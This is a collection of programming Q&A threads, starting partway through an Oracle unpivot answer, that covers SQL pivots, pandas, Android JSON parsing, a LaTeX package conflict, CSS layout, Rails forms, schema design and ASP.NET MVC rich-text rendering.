222 BBB WIPRO
333 CCC CGI
333 CCC INFY
333 CCC TECHM
333 CCC GOOGLE

Kindly help solve this query.

A: If you are using Oracle 11g+ then use :
with tab(EMPID,EMPNAME,COMPANY1,COMPANY2,COMPANY3,COMPANY4) as (
  select 111, 'AAA', 'TCS', null, null, null from dual union all
  select 222, 'BBB', 'CTS', 'WIPRO', null, null from dual union all
  select 333, 'CCC', 'CGI', 'INFY', 'TECHM', 'GOOGLE' from dual
  )
----------------------
--- End of data
----------------------
select empid, empname, companies
from tab
unpivot (companies for company in (COMPANY1, COMPANY2, COMPANY3, COMPANY4));

For older versions, use:
with tab(EMPID,EMPNAME,COMPANY1,COMPANY2,COMPANY3,COMPANY4) as (
  select 111, 'AAA', 'TCS', null, null, null from dual union all
  select 222, 'BBB', 'CTS', 'WIPRO', null, null from dual union all
  select 333, 'CCC', 'CGI', 'INFY', 'TECHM', 'GOOGLE' from dual
  ),
----------------------
--- End of data
----------------------
table1 as (SELECT EMPID,
                  EMPNAME,
                  DECODE(rown, 1, COMPANY1,
                               2, COMPANY2,
                               3, COMPANY3,
                               4, COMPANY4,
                              'N/A') AS companies
             FROM tab,
                  (SELECT level AS rown
                     FROM dual
                  CONNECT BY level <= 4))
select *
  from table1
 where companies is not null
 order by 1;

Output in both cases will be:
| EMPID | EMPNAME | COMPANIES |
|-------|---------|-----------|
|   111 |     AAA |       TCS |
|   222 |     BBB |       CTS |
|   222 |     BBB |     WIPRO |
|   333 |     CCC |    GOOGLE |
|   333 |     CCC |      INFY |
|   333 |     CCC |     TECHM |
|   333 |     CCC |       CGI |

A: select EMPID, EMPNAME, COMPANY1
  from EMPLOYEE
 where COMPANY1 is not null
union
select EMPID, EMPNAME, COMPANY2
  from EMPLOYEE
 where COMPANY2 is not null
union
select EMPID, EMPNAME, COMPANY3
  from EMPLOYEE
 where COMPANY3 is not null
union
select EMPID, EMPNAME, COMPANY4
  from EMPLOYEE
 where COMPANY4 is not null

A: The fun part about writing this query is that you need to know exactly how many companyX columns are there. More the columns more the queries unioned together.
I would like to modify JoshL's answer a little and add the ordering part:
SELECT empid,
       empname,
       company1 AS company_name,
       1 AS company_number
  FROM employee
 WHERE company1 IS NOT NULL
UNION ALL
SELECT empid,
       empname,
       company2 AS company_name,
       2 AS company_number
  FROM employee
 WHERE company2 IS NOT NULL
UNION ALL
SELECT empid,
       empname,
       company3 AS company_name,
       3 AS company_number
  FROM employee
 WHERE company3 IS NOT NULL
UNION ALL
SELECT empid,
       empname,
       company4 AS company_name,
       4 AS company_number
  FROM employee
 WHERE company4 IS NOT NULL
ORDER BY empid, company_number;


text:
Q: How do we add a column to resultset to show count in PostgreSQL? I am running the following query on PostgreSQL DB to get the status of each channel on different dates.
SELECT ch.name,
   date(msg.date_created),
   msg.status
FROM message msg,
 channel ch
WHERE msg.status !='TRANSFORMED'
AND msg.channel_id = ch.id
AND msg.date_created BETWEEN to_date('2015-01-10', 'YYYY-MM-DD') AND to_date('2015-01-11', 'YYYY-MM-DD');

It fetches the data in the following format :
Channel_Name,Date,Status
CHANNEL_01,1/10/2015,SENT
CHANNEL_04,1/10/2015,QUEUED
CHANNEL_02,1/10/2015,QUEUED
CHANNEL_02,1/10/2015,FILTERED
CHANNEL_03,1/10/2015,QUEUED
CHANNEL_02,1/10/2015,SENT
CHANNEL_01,1/10/2015,SENT
CHANNEL_03,1/10/2015,ERROR
CHANNEL_01,1/10/2015,SENT
CHANNEL_03,1/10/2015,SENT
CHANNEL_03,1/10/2015,ERROR
CHANNEL_04,1/10/2015,SENT
CHANNEL_03,1/10/2015,SENT
CHANNEL_03,1/10/2015,FILTERED
CHANNEL_04,1/10/2015,ERROR
CHANNEL_03,1/10/2015,SENT
CHANNEL_03,1/10/2015,ERROR
CHANNEL_03,1/10/2015,SENT
CHANNEL_03,1/10/2015,FILTERED
CHANNEL_03,1/10/2015,QUEUED
CHANNEL_04,1/10/2015,FILTERED

But I want count the status of message and display in a column grouped by name and date. How should I rewrite the query with "group by" to achieve the expected result as follows?
Channel_Name,Date,SENT,QUEUED,ERROR,FILTERED
CHANNEL_01,1/10/2015,3,0,0,0
CHANNEL_02,1/10/2015,1,0,0,1
CHANNEL_02,1/11/2015,0,1,0,0
CHANNEL_03,1/10/2015,3,2,1,2
CHANNEL_03,1/11/2015,1,0,2,0
CHANNEL_04,1/10/2015,1,1,1,1

A: You can use SUM(CASE), repeat this construction for each status value:
SELECT ch.name,
   date(msg.date_created),
   SUM(CASE WHEN msg.status = 'SENT' THEN 1 ELSE 0 END) as SENT,
   ... -- same for other statuses
FROM message msg,
 channel ch
WHERE msg.status !='TRANSFORMED'
AND msg.channel_id = ch.id
AND msg.date_created BETWEEN to_date('2015-01-10', 'YYYY-MM-DD') AND to_date('2015-01-11', 'YYYY-MM-DD')
GROUP BY ch.name, date(msg.date_created);

A: As an intermediate step, you can GROUP BY ch.name, date(msg.date_created), msg.status and count the number of msgs per status for each channel name and date, like so:
SELECT ch.name,
   date(msg.date_created),
   msg.status,
   COUNT(*)
FROM message msg,
 channel ch
WHERE msg.status !='TRANSFORMED'
AND msg.channel_id = ch.id
AND msg.date_created BETWEEN to_date('2015-01-10', 'YYYY-MM-DD') AND to_date('2015-01-11', 'YYYY-MM-DD')
GROUP BY ch.name, date(msg.date_created), msg.status;

This should give you an output of the form:
CHANNEL_01,1/10/2015,SENT,3
CHANNEL_02,1/10/2015,QUEUED,1
CHANNEL_02,1/11/2015,ERROR,1

which is just a few steps from the final desired result.


text:
Q: How to compare two data frame and get the unmatched rows using python? I have two data frames, df1 and df2. Now, df1 contains 6 records and df2 contains 4 records. I want to get the unmatched records out of it. I tried it but getting an error ValueError: Can only compare identically-labelled DataFrame objects I guess this is due to the length of df as the df1 has 6 and df2 has 4 but how do I compare them both and get the unmatched rows?
code
df1=
  a  b  c
0 1  2  3
1 4  5  6
2 3  5  5
3 5  6  7
4 6  7  8
5 6  6  6

df2 =
  a  b  c
0 3  5  5
1 5  6  7
2 6  7  8
3 6  6  6

index = (df != df2).any(axis=1)
df3 = df.loc[index]

which gives:
ValueError: Can only compare identically-labelled DataFrame objects

Expected output:
 a  b  c
0 1  2  3
1 4  5  6

I know that the error is due to the length but is there any way where we can compare two data frames and get the unmatched records out of it?

A: Use df.merge with indicator=True and pick all rows except both:
In [173]: df = df1.merge(df2, indicator=True, how='outer').query('_merge != "both"').drop('_merge', 1)

In [174]: df
Out[174]:
   a  b  c
0  1  2  3
1  4  5  6

A: MultiIndex.from_frame + isin
We can use MultiIndex.from_frame on both df1 and df2 to create the corresponding multiindices, then use isin to test the membership of the index created from df1 in index created from df2 to create a boolean mask which can be then used to filter the non matching rows.
i1 = pd.MultiIndex.from_frame(df1)
i2 = pd.MultiIndex.from_frame(df2)
df1[~i1.isin(i2)]

Result
   a  b  c
0  1  2  3
1  4  5  6


text:
Q: Android get inner json array from json array Hello guys I have a tricky problem which I've been solving for hours.
This is my JSON response:
  {
"DATA": [
    {
        "Name": "Aha",
        "ListData": [
            {
                "ID": 1
            },
            {
                "ID": 2
            },
            {
                "ID": 3
            }
        ]
    }
]
}

This is what I've done so far:
 try {
        JSONObject jsonObj = new JSONObject(result);
        JSONArray jsonArray = jsonObj.getJSONArray("DATA");

        for (int i = 0; i < jsonArray.length(); i++) {
            JSONObject data = jsonArray.getJSONObject(i);
            JSONArray arr = data.getJSONArray(Constants.LIST_DATA);
            for(int j = 0; j < arr.length(); j++) {
                JSONObject innerData = arr.getJSONObject(i);

                int id = innerData.getInt(Constants.ID);

                item = new HashMap<>();
                item.put(Constants.ID, id);
                itemList.add(item);
            }
        }

    } catch(JSONException e) {
        Log.e("JSONException", "" + e.toString());
    }

But I'm only getting the correct size (3) of the array but I'm getting the same ID which 1. What seems to be wrong with my code? Any help would greatly appreciated. Thanks!
Result is something like this:
ID=1,ID=1,ID=1

Whereas my expected is:
ID=1,ID=2,ID=3

A: You should have used
 JSONObject innerData = arr.getJSONObject(j);

you're doing second loop with j=0 and you're trying to getting JSONString from first loop.


text:
Q: Undefined control sequence: \pgfmath@multiply@thousand After updating my MiKTeX distribution, I suddenly got a compile error with a .tex file that compiled perfectly fine before. After removing everything that did not contribute to the error, I ended up with the following minimal example:
\documentclass{article}

\usepackage{tikz}
\usetikzlibrary{shapes}
\usepackage{pgfplots}

\begin{document}

\begin{tikzpicture}
  \node[shape=rounded rectangle, draw=black] {bla};
\end{tikzpicture}

\end{document}

If I use rectangle instead of rounded rectangle or if I remove the pgfplots package, everything works well.
As a workaround, I'm using rectangle with the rounded corners attribute for now, but I would like to know whether there is also a possibility to use rounded rectangle together with pgfplots (and if so, how).
My pgfplots package has version 1.11. When inspecting the version of my pgf package with the MiKTeX Package Manager, it shows version 3.0.0. However, when inspecting the logfile, it shows that version 2.10 is used.
For the sake of completeness: Moreover I'm using MiKTeX-pdfTeX 2.9.4902 (1.40.14) (MiKTeX 2.9) on a Windows 7 Professional (Service Pack 1) OS.
The error message I get with the example above is:
! Undefined control sequence.
<recently read> \pgfmath@multiply@thousand

l.12 ...hape=rounded rectangle, draw=black] {bla};

While searching for related questions, I found these other questions here:
Miktex 2.9 pgfplots, circuitikz library collision problem
Problem using atan in pgfplots
It seems this is a case of different symptoms for the same disease (as discussed in the meta: Same disease, different symptoms). At least the error message is the same and the situation (problem occurred after update) is similar.
I first thought the solutions there would not apply to my problem as I have both pgfplots in version 1.11 and pgf in version 3.0.0 (which should work according to the accepted answer of the latter question). However, by checking the logfile it turns out that version 2.10 of pgf is actually used. So the underlying problem seems to be identical with the former of the two related questions. How is this difference between the Package Manager and the logfile possible and how can I fix it?

A: Based on the information that MikTeX actually failed to update PGF to 3.0.0, I am able to confirm that this is a duplicate of Problem using atan in pgfplots and Miktex 2.9 pgfplots, circuitikz library collision problem .
I will update Problem using atan in pgfplots to provide workarounds.
There are actually two distinct problems:

*

*I introduced an incompatibility between pgfplots 1.11 and PGF 2.10 . I am sorry for it; the next release of pgfplots will come with a solution (planned for beginning 2015).

*According to the reports, MikTeX claims that it updates to PGF 3.0.0, but it does not. If both packages were at their current stable releases, everything would be fine. I do not know details about this update problem.
Please see Problem using atan in pgfplots for possible workarounds.


text:
Q: Center three columns and center its content I have got a list of eight items and I would like to center it in three columns as well as its content so that the words are aligned with respect first and second line. What's the best way to achieve it? I've tried with percent but the content still disaligned.

body{
  margin: 0;
  padding: 0;
}
.wk_search-resume-list {
    width: 100%;
    overflow: auto;
}
.wk_search-resume-list li {
    margin-bottom: 16px;
    font-size: 14px;
    position: relative;
    width: 33%;
    display: inline-block;
    vertical-align: top;
    text-align: center;
}
.wk_search-resume {
    background-color: white;
    border: 1px solid #bfbfbf;
    margin: 32px 16px;
    padding: 24px 24px 8px 24px;
    font-size: 0;
    position: relative;
}
.wk_search-resume-list strong {
    display: block;
}
.wk_search-resume-list.wk-interval {
    margin-top: 32px;
    border: 1px solid red;
  padding: 0;
}

Tipo de procedimiento Procedimiento ordinario

Subvoz Extinción y suspensión del arrendamiento

A favor Arrendador

Año 1992

Tipo de recurso Procedimiento

En contra Arrendatario

Sentido del fallo Arrendador

Argumentos legales Crédito bancario

Notes:

*

*This information is dinamic and in case of having only one item, this one should be centered on screen.

*If a item is deleted, this one must be replaced by the next one on the list.

A: I am still unclear on how you want to divide up the 8 items, but here is a rudimentary example showing what is possible with CSS Grid and Flexbox.
JS BIN example
ul{
  display: grid;
  grid-template-rows: 100px 100px 100px;
  grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
}

li{
  display: flex;
  flex-direction: column;
  align-items: flex-start;
  justify-content: center;
}

A: Finally, I achieved solve this with flexbox.
Container:
display: flex;
justify-content: space-around;
flex-wrap: wrap;

Content:
flex-grow: 1;
width: 33%;

Last-child of content (in order to position it on the left):
flex-grow: 80;


text:
Q: multi-selection [combo] boxes My selection is still a 'popup' style instead of always being open [a box] with the options vertically aligned to the top ie a combo-selection box.
i am using the following code within a fields for block:
 <%= t.select(:teams, thisT,
     {:multiple => true, :size =>5}) %>

where thisT =
[[4, "JudysBiz (4)"], [5, "testJ (4)"]]
produces the following html code:
<select id="game_6_teams" name="game[6][teams]">
<option value="4">JudysBiz (4)</option>
<option value="5">testJ (4)</option>
</select>

As you can see, the structure in the html code does not show as a multi-select box.
i tried to set the first param as 'teams[]' instead of :teams but the html code came out as:
<select id="game_6_teams[]" name="game[6][teams[]]">
<option value="4">JudysBiz (4)</option>
<option value="5">testJ (4)</option>
</select>

and it still does not show up as a combo-select box...
What am I missing?

A: Try this:
<%= t.select(:teams, thisT, {}, {:multiple => true, :size => 5}) %>

Syntax is as follows:
select(object, method, choices, options = {}, html_options = {})

can be found here:
http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html


text:
Q: How to create a database design for keeping records for specific equipment with specific tasks? Goal:
My main goal is to create a C# Windows Form application to do the following:

*

*Add / Edit / Remove Equipment Names. This will interact with MySQL table.

Here is the schema:
-- Maintenance equipment create table
CREATE TABLE Maintenance_Equipment (
id int not null primary key auto_increment,
name varchar(140),
serial_number varchar(20));

-- Insert some values to Maintenance equipment
insert into maintenance_equipment
(name, serial_number)
values
('Equipment 1', '1555');

Status: Done

*

*Add/ Edit / Remove Tasks. Also will interact with MySQL table

Tasks Scema:
-- Tasks
create table tasks(
id int not null primary key auto_increment,
task_name varchar(140));

-- Insert some tasks
insert into tasks(task_name) values ("Buttons/Switched Integrity Check");

Status: Done
Here is the bit I am stuck at
I need to now create a Maintenance Schedule for selected equipment and assign them tasks and to be completed for specific months.
Here is what I drafted up:
-- Planner
create table planner (
id int not null primary key auto_increment,
Maintenance_Equipment_ID int,
tasks_ID int,
January bool,
February bool,
March bool,
April bool,
May bool,
June bool,
July bool,
August bool,
September bool,
October bool,
November bool,
December bool);

Details:
I have created this table like that because, I have the Maintenance_Equipment_ID which will be referenced to the Maintenance_Equipment table and same for the Tasks.
Next, I have every month in each column as bool data type. This is because, it represents the frequency of the task for that equipment. Here is an example of inserted values into table planner:
insert into planner (Maintenance_Equipment_ID, tasks_ID, June, December) values (1, 1, true, true);

This shows that Equipment 1 has a task of Buttons/Switched Integrity Check to be checked in June & December.
Status: Unsure
Question
I am really stuck here now to how to create a table design to record such information. Its just basic Yes as checked and No as not checked. But at the same time - If June was checked for that particular month - mark as checked.
Anybody has any clues where I can start creating a table to record such information?
Here is a fiddle link:  http://sqlfiddle.com/#!9/ba8cab/2

A: You will have something like these:
Table EQUIPMENT
+------------------+----------------+
| ID               | AUTO_INCREMENT |
+------------------+----------------+
| NAME             | VARCHAR        |
+------------------+----------------+
| SERIAL_NUMBER    | VARCHAR        |
+------------------+----------------+
| DATE_PURCHASED   | DATE           |
+------------------+----------------+
| DATE_INSTALLED   | DATE           |
+------------------+----------------+
| DATE_UNINSTALLED | DATE           |
+------------------+----------------+

Table TASKS
+------------------------+----------------+
| ID                     | AUTO_INCREMENT |
+------------------------+----------------+
| NAME                   | VARCHAR        |
+------------------------+----------------+
| anything else you need |  ......        |
+------------------------+----------------+

Table TASK_PLAN
+--------------------+------------------------------------------------------------+
| ID                 | AUTO_INCREMENT                                             |
+--------------------+------------------------------------------------------------+
| EQUIPMENT_ID       | foreign key into table EQUIPMENT                           |
+--------------------+------------------------------------------------------------+
| TASK_ID            | foreign key into table TASKS                               |
+--------------------+------------------------------------------------------------+
| MAINTENANCE_PERIOD | INT - number of days between each maintenance of this type |
+--------------------+------------------------------------------------------------+

Table SCHEDULES
+--------------+----------------------------------+
| PLAN_ID      | foreign key into table TASK_PLAN |
+--------------+----------------------------------+
| PLANNED_DATE | DATE                             |
+--------------+----------------------------------+
| STAFF_ID     | foreign key into table EMPLOYEES |
+--------------+----------------------------------+
| RESULT       | BOOLEAN                          |
+--------------+----------------------------------+


text:
Q: Should good answers given outside (in private) be upvoted? I had a "How do I do X?" question, and the answer came in the form of:

I have code that I can share, please contact me.

I got exactly what I needed, at no cost to me. I feel grateful, but I others won't get the benefit exclusively from reading.
EDIT: After the feed back from stackexchange I am not so sure of the following.
I want to clarify that I think is is perfectly acceptable to post an offer to help, and suggest/ask to be contacted by email. There could be many reasons for it, and as a whole these responses do help the Stack Overflow community.

A: No, an offer to help outside of Stack Overflow isn't an answer at all and should be deleted.  One of the reasons Stack Overflow was started to begin with was that helping people one at a time via email doesn't scale.  If you got a solution, that's great and you should post it, but the offer along with an email address doesn't help anyone else.


text:
Q: Render rich text in MVC View? I am creating an asp.net MVC application, and I am using rich text in order to store rich text inside my database.
While fetching the rich text from the database and displaying it on the Details page, I no longer see the formatted data. Rather I see the the plain html (for example
rich text sample
).
How can I display rich text as it is formatted and not as plain html using an Html text helper like Html.TextArea?
[AllowHtml]
public string Description { get; set; }

I have tried setting my View for the Description like this instead of DisplayFor, but it still doesn't work:

    @Model.Description
    @*@Html.DisplayFor(model => model.Description)*@

A: Try @Html.Raw(Model.Description) instead of @Model.Description

A: Although you can use
@Html.Raw(Model.Description)

I personally don't like it because you can't do anything with it in terms of Display/Editor templates.  If you plan on using any templates, then I would highly recommend using MvcHtmlString as the type for your model:
public MvcHtmlString Description { get; set; }

Now you can:

   @Html.DisplayFor(model => model.Description)

And if needed override the template:
[MvcHtmlString.cshtml]

   @model